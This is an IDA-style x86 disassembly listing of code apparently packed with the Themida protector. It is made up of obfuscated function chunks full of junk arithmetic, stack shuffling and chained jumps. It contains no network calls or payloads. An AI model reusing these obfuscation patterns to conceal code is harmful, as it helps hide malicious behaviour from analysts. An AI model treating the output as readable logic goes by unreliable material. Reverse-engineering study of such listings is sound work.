		jmp	loc_58FC38
; ---------------------------------------------------------------------------


loc_58EB56:				; CODE XREF: sub_59196D+17D3j
		mov	word ptr [esp+6+var_8+2], ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58EB5F:				; CODE XREF: sub_59196D+E1Cj
		sub	al, bl
		add	al, 9
		add	al, 0BBh
		push	2249h
		mov	[esp+0Ah+var_C+2], ecx
		push	eax
		mov	al, 86h
		mov	cl, 0
		xor	cl, al
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		jmp	loc_594A12
; ---------------------------------------------------------------------------


loc_58EB83:				; CODE XREF: sub_59196D+3FEj
		add	esi, 7FC4572Dh
		jmp	loc_5914A1
; ---------------------------------------------------------------------------


loc_58EB8E:				; CODE XREF: sub_59196D-16CCj
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 0D15566Fh
		shr	edi, 2
		push	esi
		mov	esi, 9D2EE02Ch
		sub	edi, esi
		push	dword ptr [esp+0]
		jmp	loc_58C42F
; ---------------------------------------------------------------------------


loc_58EBA9:				; CODE XREF: sub_59196D+5C2Aj
		pop	eax
		add	ch, dl
		pop	edx
		jmp	loc_594AFA
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59069A


loc_58EBB2:				; CODE XREF: sub_59069A+1j
		mov	ebx, 3E1D2598h
		jmp	loc_58C5EB
; END OF FUNCTION CHUNK	FOR sub_59069A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59192A


loc_58EBBC:				; CODE XREF: sub_59192A+16j
		add	dl, 0FEh
		sub	dl, 0Fh
		jmp	loc_58BACE
; END OF FUNCTION CHUNK	FOR sub_59192A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EBC7:				; CODE XREF: sub_59196D+31C9j
		shl	ebx, 8
		neg	ebx
		push	esi
		jmp	loc_58E69C
; ---------------------------------------------------------------------------


loc_58EBD2:				; CODE XREF: sub_59196D+5A8Cj
		mov	ebp, 53B94CC2h
		dec	ebp
		neg	ebp
		shr	ebp, 3
		neg	ebp
		xor	ebp, 42F85E0Dh
		sub	ebp, 0BB3CBE96h
		sub	ecx, ebp
		pop	ebp
		and	edi, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_596ADF
; ---------------------------------------------------------------------------


loc_58EBFE:				; CODE XREF: sub_59196D+6827j
		js	loc_593B76
		jmp	loc_58E097
; ---------------------------------------------------------------------------


loc_58EC09:				; CODE XREF: sub_59196D-6113j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 7766787h
		not	ebx
		xor	ebx, 0DB0DF943h
		neg	ebx
		jmp	loc_5958AA
; ---------------------------------------------------------------------------


loc_58EC26:				; CODE XREF: sub_59196D-1F3Bj
		sub	esi, 6DA04816h
		sub	esi, 1
		neg	esi
		jmp	loc_594B5F
; ---------------------------------------------------------------------------


loc_58EC39:				; CODE XREF: sub_59196D+6A40j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edx
		push	[esp+28h+var_26+2]
		jmp	loc_58F2C2
; ---------------------------------------------------------------------------


loc_58EC56:				; CODE XREF: sub_59196D+5FE6j
		push	eax
		mov	eax, 72C122EAh
		mov	edx, eax
		pop	eax
		xor	esi, edx
		pop	edx
		or	esi, 1E126BA0h
		or	esi, 85178CDh
		inc	esi
		sub	esi, 0C2A5724Bh
		jmp	loc_595E7F
; ---------------------------------------------------------------------------


loc_58EC7A:				; CODE XREF: sub_59196D+3920j
		xor	dh, 0BAh
		shl	dh, 4
		dec	dh
		add	dh, 0EDh
		add	al, dh
		mov	edx, [esp+28h+var_2A+2]
		jmp	sub_58C376
; ---------------------------------------------------------------------------


loc_58EC8F:				; CODE XREF: sub_59196D-5C09j
		pop	eax
		sub	bl, al
		sub	bl, 19h
		push	dx
		mov	dl, 89h
		add	bl, 2Bh
		jmp	loc_58B67B
; ---------------------------------------------------------------------------


loc_58ECA1:				; CODE XREF: sub_59196D+212Bj
		mov	ebp, 6D08759Eh
		mov	eax, 6D08759Ah
		xor	eax, ebp
		mov	ebp, [esp+20h+var_22+2]
		jmp	loc_594879
; ---------------------------------------------------------------------------


loc_58ECB5:				; CODE XREF: sub_59196D+2014j
		add	edi, 4
		xchg	edi, [esp+20h+var_22+2]
		pop	esp
		push	ebp
		push	esi
		mov	esi, 31DC6216h
		mov	ebp, esi
		pop	esi
		shl	ebp, 8
		or	ebp, 3257141Dh
		add	ebp, 674784Dh
		shr	ebp, 5
		jmp	loc_59459D
; ---------------------------------------------------------------------------


loc_58ECE0:				; CODE XREF: sub_59196D+5022j
		sub	bl, dh
		jmp	loc_58B6C8
; ---------------------------------------------------------------------------


loc_58ECE7:				; CODE XREF: sub_59196D-2147j
		or	dh, 62h
		and	dh, 0B9h
		xor	dh, 0C4h
		sub	ch, dh
		pop	edx
		add	dh, ch
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp+1Ch+var_1E+2], bx
		jmp	loc_595220
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58ED05	proc near		; CODE XREF: sub_59196D+3D2Aj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058D5B5 SIZE 0000000E BYTES

		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 0D110E8Eh
		neg	esi
		jbe	loc_58D5B5
		push	626Ah
		mov	[esp+0Ch+var_C], eax
		push	edi
		jmp	loc_5932AC
sub_58ED05	endp

; ---------------------------------------------------------------------------
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58ED2B:				; CODE XREF: sub_59196D+5ECj
		not	[esp+1Ch+var_1E+2]
		pop	ebx
		neg	ebx
		shl	ebx, 1
		and	ebx, 1AFC641Bh
		xor	ebx, 10B8441Ch
		jmp	loc_59076C
; ---------------------------------------------------------------------------


loc_58ED44:				; CODE XREF: sub_59196D+20A0j
		pop	edi
		add	eax, 289C1041h
		add	eax, edx
		push	edi
		jmp	loc_58E161
; ---------------------------------------------------------------------------


loc_58ED52:				; CODE XREF: sub_59196D+4C41j
		pop	ebx
		jmp	loc_590362
; ---------------------------------------------------------------------------


loc_58ED58:				; CODE XREF: sub_59196D+61F5j
		xor	ah, 51h
		jmp	loc_593BBF
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58ED60	proc near		; CODE XREF: sub_59196D-23E2j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058F4AF SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_58F4AF
sub_58ED60	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58ED82:				; CODE XREF: sub_59196D+6C0Dj
		push	7D74h
		mov	[esp+18h+var_1A+2], ebp
		xchg	eax, [esp+18h+var_1A+2]
		jmp	loc_58D34C
; ---------------------------------------------------------------------------


loc_58ED92:				; CODE XREF: sub_59196D+686j
		pop	esp
		and	ecx, eax
		mov	eax, [esp+14h+var_16+2]
		push	edi
		mov	edi, esp
		jmp	sub_5918E7
; ---------------------------------------------------------------------------


loc_58EDA0:				; CODE XREF: sub_59196D+42A1j
		pop	ebx
		jmp	loc_595909
; ---------------------------------------------------------------------------


loc_58EDA6:				; CODE XREF: sub_59196D:loc_58CB99j
					; sub_59196D-4B30j
		shr	ecx, 3
		sub	ecx, 889AE715h
		xor	ebp, ecx
		pop	ecx
		add	edx, ebp
		mov	ebp, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5908E4
; ---------------------------------------------------------------------------


loc_58EDC2:				; CODE XREF: sub_59196D-4F84j
		add	ecx, 24191EFEh
		jmp	loc_597170
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0EDh
		jmp	loc_596848
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EDD5:				; CODE XREF: sub_59196D-37AAj
		xor	eax, ecx
		pop	ecx
		mov	edx, [esp+30h+var_32+2]
		sub	esp, 4
		jmp	loc_591638
; ---------------------------------------------------------------------------


loc_58EDE3:				; CODE XREF: sub_59196D-652Ej
		mov	eax, 27845D00h
		jmp	loc_595415
; ---------------------------------------------------------------------------


loc_58EDED:				; CODE XREF: sub_59196D-5FCFj
					; sub_59196D+591j
		mov	esp, [esp+20h+var_22+2]
		jmp	loc_58E297
; ---------------------------------------------------------------------------


loc_58EDF5:				; CODE XREF: sub_59196D+3B51j
		push	eax
		jmp	loc_593489
; ---------------------------------------------------------------------------


loc_58EDFB:				; CODE XREF: sub_59196D-3F6Fj
		mov	[esp+0Ch+var_C], esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	[esp+4+var_4], eax
		mov	eax, 1363750Ch
		jmp	loc_595D96
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58EE14	proc near		; DATA XREF: Themida_:0058B194o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	0FFFFFBFFh
		mov	ecx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		and	[edi+1Ch], ecx
		mov	ecx, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		push	47B1h
		mov	[esp+10h+var_10], esp
		jmp	loc_5919C0
sub_58EE14	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EE4B:				; CODE XREF: sub_59196D+63E0j
		add	esi, 3BDA6D11h
		shl	esi, 3
		add	esi, 13B13863h
		xor	esi, 0F2A52167h
		jmp	loc_5946AF
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58EE65:				; CODE XREF: Themida_:0058E722j
		push	eax
		mov	al, 67h
		jmp	loc_58FE1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EE6D:				; CODE XREF: sub_59196D+BD5j
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_58B682
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_590AA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EE7E:				; CODE XREF: sub_59196D+5E05j
		neg	esi
		jo	loc_5902A6
		jmp	loc_58BB97
; ---------------------------------------------------------------------------


loc_58EE8B:				; CODE XREF: sub_59196D+8B2j
		pop	esp
		jmp	loc_592B5C
; ---------------------------------------------------------------------------


loc_58EE91:				; CODE XREF: sub_59196D+38AEj
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_58E8AF
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58EE9C:				; DATA XREF: Themida_:0058B0ECo
		mov	cx, [esp]
		jmp	loc_5965ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EEA5:				; CODE XREF: sub_59196D-41FAj
		add	ebx, 4
		push	esi
		mov	esi, 5F9925A5h
		shr	esi, 8
		and	esi, 291330F2h
		jmp	loc_58F9D4
; ---------------------------------------------------------------------------


loc_58EEBF:				; CODE XREF: sub_59196D+6B6Dj
		add	eax, edi
		pop	edi
		jmp	loc_58D26E
; ---------------------------------------------------------------------------


loc_58EEC7:				; CODE XREF: sub_59196D-1BBCj
		mov	edi, esp
		jmp	loc_58C902
; ---------------------------------------------------------------------------


loc_58EECE:				; CODE XREF: sub_59196D+64D6j
		xchg	esi, [esp+3Eh+var_40+2]
		pop	esp
		mov	[esp+3Ah+var_3C+2], ecx
		jmp	loc_58E1EA
; ---------------------------------------------------------------------------


loc_58EEDA:				; CODE XREF: sub_59196D-1040j
		sub	edx, 0A842F74h
		jmp	loc_5938FF
; ---------------------------------------------------------------------------


loc_58EEE5:				; CODE XREF: sub_59196D+5603j
					; sub_59196D+5FB4j
		pop	eax
		jmp	loc_598041
; ---------------------------------------------------------------------------


loc_58EEEB:				; CODE XREF: sub_59196D-4FC6j
		sub	edi, ebx
		jmp	loc_5966A3
; ---------------------------------------------------------------------------


loc_58EEF2:				; CODE XREF: sub_59196D+4710j
		or	edx, edi
		jmp	loc_593202
; ---------------------------------------------------------------------------


loc_58EEF9:				; CODE XREF: sub_59196D-46F0j
		mov	ecx, [esp+3Ah+var_3C+2]
		add	esp, 4
		xchg	eax, [esp+36h+var_36]
		jmp	loc_58B5C0
; ---------------------------------------------------------------------------


loc_58EF07:				; CODE XREF: sub_59196D+2ADj
		and	ebx, ecx
		pop	ecx
		sub	ebx, 406291Ch
		add	ebp, ebx
		jmp	loc_58BEB1
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		jmp	loc_592701
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EF1C:				; CODE XREF: sub_59196D-5977j
		or	ecx, 48132CAAh
		xor	ecx, 0CCD4CAC0h
		sub	edx, ecx
		jmp	loc_59564C
; ---------------------------------------------------------------------------


loc_58EF2F:				; CODE XREF: sub_59196D-22EEj
		add	eax, 7A44530Fh
		sub	edi, eax
		pop	eax
		pop	eax
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		xor	edi, [esp-8+arg_4]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58EF4A:				; CODE XREF: sub_59196D+932j
		add	esi, 7A607138h
		add	esi, ebx
		sub	esi, 7A607138h
		jmp	loc_58D847
; ---------------------------------------------------------------------------


loc_58EF5D:				; CODE XREF: sub_59196D+2A61j
		pop	edi
		xor	edi, 17F27C7Bh
		jge	loc_5940F0
		jmp	loc_58F160
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		jmp	loc_58F239
; ---------------------------------------------------------------------------
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EF75:				; CODE XREF: sub_59196D+2076j
		test	cx, ax
		pushf
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58EF7E	proc near		; CODE XREF: sub_59196D-407Fj

; FUNCTION CHUNK AT 005917B4 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 1DD20E24h
		mov	ebx, 25CE2FF2h
		xor	ebx, ebp
		pop	ebp
		mov	edx, 381C21D2h
		xor	edx, ebx
		jmp	loc_5917B4
sub_58EF7E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EF98:				; CODE XREF: sub_59196D+2375j
					; sub_59196D+5965j
		add	esp, 4
		push	6305h
		mov	[esp-0Ch+arg_8], ecx
		push	edi
		mov	edi, 42816379h
		shl	edi, 3
		add	edi, 0EBF4E638h
		mov	ecx, edi
		pop	edi
		jmp	loc_595B6D
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_595099
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EFC9:				; CODE XREF: sub_59196D-113j
		xchg	edi, [esp-0Ch+arg_8]
		jmp	loc_58C429
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FC53


loc_58EFD1:				; CODE XREF: sub_58FC53+3j
		shl	bl, 7
		push	ecx
		mov	ch, 0C0h
		sub	bl, ch
		pop	ecx
		xor	bl, 57h
		mov	cl, bl
		pop	ebx
		push	ebx
		mov	bl, 47h
		jmp	loc_58CE11
; END OF FUNCTION CHUNK	FOR sub_58FC53
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5912E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EFF0:				; CODE XREF: sub_59196D+517Bj
		pop	ecx
		add	esp, 4
		jmp	loc_597908
; ---------------------------------------------------------------------------


loc_58EFF9:				; CODE XREF: sub_59196D+3A41j
		sub	eax, ebx
		jmp	loc_59328F
; ---------------------------------------------------------------------------


loc_58F000:				; CODE XREF: sub_59196D+4D27j
		mov	ecx, 4
		add	eax, 61E0E03h
		sub	eax, ecx
		jmp	loc_5935D6
; ---------------------------------------------------------------------------


loc_58F011:				; CODE XREF: sub_59196D-1417j
		push	6B5Ah
		jmp	loc_59771D
; ---------------------------------------------------------------------------


loc_58F01B:				; CODE XREF: sub_59196D-EB5j
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		not	eax
		xchg	eax, ebp
		xchg	ebp, edx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edx
		push	[esp-0Ch+arg_C]
		pop	edx
		pop	[esp-0Ch+arg_8]
		mov	eax, [esp-10h+arg_C]
		jmp	loc_58F82B
; ---------------------------------------------------------------------------


loc_58F03C:				; CODE XREF: sub_59196D-5E63j
		jmp	loc_58DDD2
; ---------------------------------------------------------------------------


loc_58F041:				; CODE XREF: sub_59196D+5D4Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		jmp	loc_5911E0
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58F058:				; CODE XREF: Themida_:0058FBC2j
		push	ebp
		mov	ebp, 3A200A04h
		add	ebp, 6124FD3h
		neg	ebp
		shr	ebp, 3
		sub	ebp, 0CABD5598h
		jmp	loc_596D20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F074:				; CODE XREF: sub_59196D+20E0j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58F079:				; CODE XREF: sub_59196D-4CCAj
		sub	[esp+40h+var_40], 50365834h
		pop	dword ptr [edi+20h]
		jmp	loc_594FD2
; ---------------------------------------------------------------------------


loc_58F088:				; CODE XREF: sub_59196D-4925j
		sub	ebx, 6CED02F9h
		jmp	loc_595C13
; ---------------------------------------------------------------------------


loc_58F093:				; CODE XREF: sub_59196D+27E1j
		add	ecx, 727F203Ah
		add	ecx, edi
		sub	ecx, 727F203Ah
		mov	eax, [ecx]
		mov	ecx, [esp+14h+var_16+2]
		jmp	loc_58DD16
; ---------------------------------------------------------------------------


loc_58F0AB:				; CODE XREF: sub_59196D+3E65j
		pop	ecx
		jmp	loc_59556B
; ---------------------------------------------------------------------------


loc_58F0B1:				; CODE XREF: sub_59196D+36F7j
					; sub_59196D+6983j
		push	edi
		push	edx
		mov	edx, 38867095h
		mov	edi, edx
		pop	edx
		jmp	loc_59218B
; ---------------------------------------------------------------------------


loc_58F0C0:				; CODE XREF: sub_59196D-4C5Ej
		jmp	loc_5920B2
; ---------------------------------------------------------------------------


loc_58F0C5:				; CODE XREF: sub_59196D+49F4j
		pop	eax
		add	eax, 4
		jmp	loc_595E47
; ---------------------------------------------------------------------------


loc_58F0D0:				; CODE XREF: sub_59196D-972j
		xchg	esi, ecx
		neg	ecx
		neg	ecx
		sub	ecx, 0D7B1C637h
		mov	ebx, ecx
		pop	ecx
		mov	ecx, 1A3F2FC3h
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 1903176Fh
		add	ecx, edi
		add	ecx, 1903176Fh
		jmp	sub_590677
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58F0FA	proc near		; CODE XREF: sub_59196D-11Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, 70B01BBEh
		mov	esi, 0CC562934h
		add	esi, ebx
		pop	ebx
		add	[esp+arg_0], esi
		mov	esi, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_594D23
sub_58F0FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F11D:				; CODE XREF: sub_59196D-45FFj
		pop	dword ptr [esp+0]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	sub_58E727
; ---------------------------------------------------------------------------


loc_58F129:				; CODE XREF: sub_59196D-30D6j
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		add	al, 7Fh
		add	al, cl
		push	edx
		jmp	loc_594DB3
; ---------------------------------------------------------------------------


loc_58F13C:				; CODE XREF: sub_59196D-62DDj
		add	esp, 4
		shr	edi, 4
		add	edi, 33000E53h
		push	eax
		mov	eax, 3A5D62B6h
		sub	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		jmp	loc_594C3A
; ---------------------------------------------------------------------------


loc_58F159:				; CODE XREF: sub_59196D-1B93j
		add	eax, esi
		jmp	loc_590395
; ---------------------------------------------------------------------------


loc_58F160:				; CODE XREF: sub_59196D-2A03j
					; sub_59196D+5D62j
		and	ebx, 23D25EE9h
		xor	ebx, 7B711058h
		sub	edi, ebx
		pop	ebx
		add	edi, 0EFD38459h
		jmp	loc_5926F1
; ---------------------------------------------------------------------------


loc_58F17A:				; CODE XREF: sub_59196D-5957j
		mov	[esp+18h+var_1A+2], eax
		push	ebp
		pop	eax
		jmp	loc_58CBFF
; ---------------------------------------------------------------------------


loc_58F184:				; CODE XREF: sub_59196D-6014j
		pop	eax
		pop	ecx
		jmp	loc_58C229
; ---------------------------------------------------------------------------


loc_58F18B:				; CODE XREF: sub_59196D+323Cj
		xor	bh, byte ptr [esp+18h+var_1A+3]
		xor	byte ptr [esp+18h+var_1A+3], bh
		not	bh
		xor	byte ptr [esp+18h+var_1A+3], bh
		xor	bh, byte ptr [esp+18h+var_1A+3]
		jmp	loc_5926E8
; ---------------------------------------------------------------------------


loc_58F1A2:				; CODE XREF: sub_59196D-1BA9j
		mov	esi, 74999BC4h
		sub	edx, esi
		pop	esi
		sub	edi, edx
		push	[esp+14h+var_16+2]
		jmp	loc_5958C5
; ---------------------------------------------------------------------------


loc_58F1B4:				; CODE XREF: sub_59196D+3EAEj
		and	ebx, edi
		mov	edi, [esp+18h+var_1A+2]
		push	edi
		mov	edi, esp
		jmp	loc_58CBB3
; ---------------------------------------------------------------------------


loc_58F1C1:				; CODE XREF: sub_59196D+2588j
		push	[esp+1Ch+var_1E+2]
		jmp	loc_59405B
; ---------------------------------------------------------------------------


loc_58F1C9:				; CODE XREF: sub_59196D+69B0j
		shr	dl, 6
		jmp	loc_591362
; ---------------------------------------------------------------------------


loc_58F1D1:				; CODE XREF: sub_59196D+568j
		mov	[esp+20h+var_22+2], ebx
		mov	bl, 0D1h
		mov	cl, bl
		jmp	loc_590BDA
; ---------------------------------------------------------------------------


loc_58F1DD:				; CODE XREF: sub_59196D+39A4j
		sub	eax, 226E0CECh
		sub	eax, 2FC5671h
		add	eax, ecx
		add	eax, 2FC5671h
		jmp	loc_58DDE5
; ---------------------------------------------------------------------------


loc_58F1F3:				; CODE XREF: sub_59196D-1CF9j
		xor	[esp+20h+var_22+2], edi
		xor	edi, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], edi
		pop	ebp
		xor	ebp, 0BBED95E6h
		jmp	loc_5916AC
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F217:				; CODE XREF: sub_59196D-5A6Fj
		pop	edx
		xchg	ebx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		jmp	loc_59244C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58F223:				; DATA XREF: Themida_:0058B10Co
		push	dword ptr [esp]
		pop	eax
		jmp	loc_591E02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F22C:				; CODE XREF: sub_59196D-424j
		add	al, bl
		pop	ebx
		sub	bl, al
		push	[esp+0Ch+var_C]
		jmp	loc_596193
; ---------------------------------------------------------------------------


loc_58F239:				; CODE XREF: Themida_:0058EF6Fj
					; sub_59196D+2C2Bj
		push	58793945h
		pop	ecx
		jmp	loc_596615
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F42B


loc_58F244:				; CODE XREF: sub_58F42B+6j
		mov	edi, 382E7B0Eh
		add	edi, 705A0CCCh
		jmp	loc_58E503
; END OF FUNCTION CHUNK	FOR sub_58F42B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58F254:				; CODE XREF: sub_59196D+60A5j
		neg	esi
		xchg	esi, ebx
		push	ebp
		mov	ebp, 78A21056h
		not	ebp
		and	ebp, 3F340A6Ch
		push	0
		sub	[esp+18h+var_1A+2], ebp
		pop	ebp
		xchg	edx, ebp
		dec	edx
		xchg	edx, ebp
		push	eax
		mov	eax, 0F746A9EBh
		sub	ebp, eax
		push	[esp+18h+var_1A+2]
		jmp	loc_592AEB
; ---------------------------------------------------------------------------


loc_58F284:				; CODE XREF: sub_59196D+54EDj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58F289:				; CODE XREF: sub_59196D-4D0Fj
		mov	[esp+40h+var_40], eax
		push	esp
		mov	eax, [esp+44h+var_44]
		add	esp, 4
		add	eax, 4
		push	6F37h
		mov	[esp+44h+var_44], edx
		push	ebx
		mov	ebx, 48916A99h
		jmp	loc_58DAE3
; ---------------------------------------------------------------------------


loc_58F2AB:				; CODE XREF: sub_59196D+649Aj
		push	[esp+48h+var_44]
		jmp	loc_58FA85
; ---------------------------------------------------------------------------


loc_58F2B4:				; CODE XREF: sub_59196D-1CE0j
		sub	edi, 5A4025A4h
		mov	esi, [esp+4Ch+var_4E+2]
		jmp	loc_596737
; ---------------------------------------------------------------------------


loc_58F2C2:				; CODE XREF: sub_59196D-2D1Cj
		pop	edx
		jmp	loc_59354D
; ---------------------------------------------------------------------------


loc_58F2C8:				; CODE XREF: sub_59196D+1CECj
		jb	loc_5932F2
		inc	edx
		jl	loc_58CE42
		jge	loc_58DAFA
		pop	edx


loc_58F2DC:				; CODE XREF: Themida_:0058DA9Aj
		push	edx
		mov	edx, 34941793h
		sub	[esp+28h+var_22+2], edx
		pop	edx
		push	[esp+24h+var_26+2]
		pop	ecx
		add	esp, 4
		push	[esp+20h+var_22+2]
		pop	edx
		push	esi
		push	607Dh
		mov	[esp+28h+var_2A+2], esp
		add	[esp+28h+var_2A+2], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+24h+var_26+2]
		jmp	loc_5969E4
; ---------------------------------------------------------------------------


loc_58F317:				; CODE XREF: sub_59196D-245Bj
		push	ecx
		mov	ecx, 2E6478F9h
		add	eax, ecx
		pop	ecx
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_591E2C
; ---------------------------------------------------------------------------


loc_58F32B:				; CODE XREF: sub_59196D+2443j
		add	esp, 4
		jmp	loc_5924D1
; ---------------------------------------------------------------------------


loc_58F336:				; CODE XREF: sub_59196D+135Dj
		push	ecx
		mov	ecx, 2
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], edi
		xor	edi, [esp+1Ch+var_1E+2]
		jmp	loc_58DA58
; ---------------------------------------------------------------------------


loc_58F34D:				; CODE XREF: sub_59196D-501Aj
		xor	edx, 0A36590BEh
		jmp	loc_5949AE
; ---------------------------------------------------------------------------


loc_58F358:				; CODE XREF: sub_59196D-4369j
		mov	ch, 0FCh
		push	dx
		jmp	loc_58CF1C
; ---------------------------------------------------------------------------


loc_58F361:				; CODE XREF: sub_59196D-2174j
		dec	ebp
		xchg	ecx, ebp
		not	ecx
		push	ebp
		push	ecx
		pop	ebp
		pop	ecx
		sub	ebp, 2D6D3D7Eh
		add	esi, ebp
		jmp	loc_590493
; ---------------------------------------------------------------------------


loc_58F377:				; CODE XREF: sub_59196D-5841j
		xor	esi, 247F3F4Fh
		xor	esi, 36B72F7Bh
		add	eax, esi
		pop	esi
		xchg	eax, [esp+0]
		pop	esp
		add	esp, 4
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58F395:				; CODE XREF: sub_59196D+35FCj
		pop	cx
		add	al, dl
		sub	al, 96h
		add	al, 4Ch
		push	[esp-0Eh+arg_8+2]
		pop	edx
		jmp	loc_58F5DC
; ---------------------------------------------------------------------------


loc_58F3A6:				; CODE XREF: sub_59196D+33A5j
					; DATA XREF: Themida_:0058B0B0o
		mov	ax, word ptr [esp-0Eh+arg_8+2]
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], eax
		mov	eax, esp
		push	ebp
		jmp	loc_594438
; ---------------------------------------------------------------------------


loc_58F3BB:				; CODE XREF: sub_59196D+A71j
		dec	ebx
		jg	loc_58C079
		xor	ebx, 4A5A888h
		mov	ecx, ebx
		pop	ebx
		push	ebx


loc_58F3CC:				; CODE XREF: Themida_:00590C39j
		push	4BABh
